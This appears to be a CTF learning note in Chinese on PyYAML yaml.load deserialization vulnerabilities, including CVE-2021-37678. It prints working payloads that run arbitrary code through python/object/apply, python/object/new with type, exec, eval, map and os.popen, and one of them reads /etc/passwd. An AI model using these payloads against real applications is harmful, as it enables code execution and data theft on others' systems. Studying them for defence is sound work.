#CTF #CTF-漏洞使用
前两天打网鼎杯的时候遇到的这题,在这个反序列化漏洞上,试了很多种方法都没有成功,非常遗憾,所以就简单记录一下yaml.load
这个漏洞。
介绍
YAML 是 “YAML Ain’t a Markup Language”(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:“Yet Another Markup Language”(仍是一种标记语言)。
YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。
YAML 的配置文件后缀为 .yml,如:blog.yml 。
基础语法
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用tab,只允许空格
- 缩进的空格数不重要,只要相同层级的元素左对齐即可
- '#'表示注释
数据类型
YAML 支持以下几种数据类型:
- 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
- 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
- 纯量(scalars):单个的、不可再分的值
Yaml.dump序列化与反序列化
能够将python的多种数据类型的数据转换成Yaml格式的字符串
例如:
相关操作官方有提供相应的文档PyYaml-官方文档
反序列化漏洞
基本实现操作
这一部分官方文档说明的很清楚[[PyYaml-官方文档#Objects]]
调用自定义的类
例子:
- 序列化:
import yaml
class User:
def __init__(self):
self.name = ""
def set(self,txt):
self.name = txt
user = User()
user.set("Blog")
content = yaml.dump(user)
print(content)
结果为:
- 反序列化
继续以上面为例:
sts1 = """!!python/object:__main__.User
name: Blog
"""
sts2 = "!!python/object:__main__.User {name: Blog}"
item1 = yaml.load(sts1)
item2 = yaml.load(sts2)
print(item1)
print(item2)
print(item1.name)
print(item2.name)
调用系统函数
很遗憾,经过我的测试,对于PyYaml>=5.1.0
版本的yaml.load无法直接执行函数,只能生成函数的对象,例如:
import yaml
from yaml import Loader
payload = '!!python/object/apply:subprocess.check_output [[calc.exe]]'
yaml.load(payload)
结果:
如果想要实现任意代码执行,则需要在yaml.load
中加入参数Loader=Loader
,并且from yaml import Loader
CVE-2021-37678漏洞
TensorFlow 和 TensorFlow 的封装项目 Keras 的维护人员修复了因 YAML 解析不安全而引发的不可信序列化漏洞。该漏洞的编号为 CVE-2021-37678,为严重漏洞,可使攻击者在应用程序反序列化YAML 格式下的 Keras 模型时执行任意代码。
import yaml
payload = '''
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
'''
yaml.load(payload)
- 'extend’的出现
这个漏洞的原理,我去看了一下yaml.load
的源码,似乎发现了一些端倪
在construct_python_object_apply
函数里面,有一个如下的调用:
instance
是创建的实例,按照listitems
的属性,应当是调用.extend
在数组末尾添加listitems
中的数据,但是当instance
是一个字典,并且其中有一个{'extend':function}
那么extend就发生了变化,可以实现任意函数的调用了.
- type函数
可以看到yaml字符串中有一个!!python/object/new:type
,这个是Python的一个函数,我之前只用过type(“add”)这种一个参数的,但是type有好几种参数类型,这里参考[[Type-函数说明]],因此创建了一个类型为z的新对象,而对象中extend属性在创建时会被调用,参数为listitems内的参数,很神奇
无{}和[]符号反序列化漏洞
下面这两种是我看的其他师傅的方法
!!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__\x28'pickle'\x29.load\x28open\x28'fileinfo/pik','rb'\x29\x29"]
!!python/object/new:frozenset
- !!python/object/new:map
- !!python/name:os.popen
- ["bash /app/fileinfo/cmd"]
实际上tuple也同样
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["print(123)"]
原理分析
yaml正常无Loader指定时,好像是无法执行函数的命令,因此需要借助其他函数,首先借助的是[[Map-函数说明 | map函数]],由于返回的是一个迭代器,但是如何执行这个迭代器是一个很大的问题,通过查看yaml.load
的源码,我最后终于定位到执行!!python...
标签的代码了
对于上面使用的frozenset
和bytes
以及测试过的tuple
就相当于里面的cls
,而args
参数则是map(function,args)
的实例,但是到这一步已经没法再往下找了,后面的代码就无法定位了…
所以只要python某一个内置类cls执行cls.__new__(cls,*args,**kwds)
存在任意执行代码就可以使用了
经过测试,发现frozenset/bytes/tuple三个类在这种代码下可以实现任意代码执行文章来源:https://www.toymoban.com/news/detail-422594.html
感想
作为WEB菜鸡,记录一下yaml这个漏洞,之后写WP记录一下文章来源地址https://www.toymoban.com/news/detail-422594.html
到了这里,关于Pyyaml-yaml.load反序列化漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!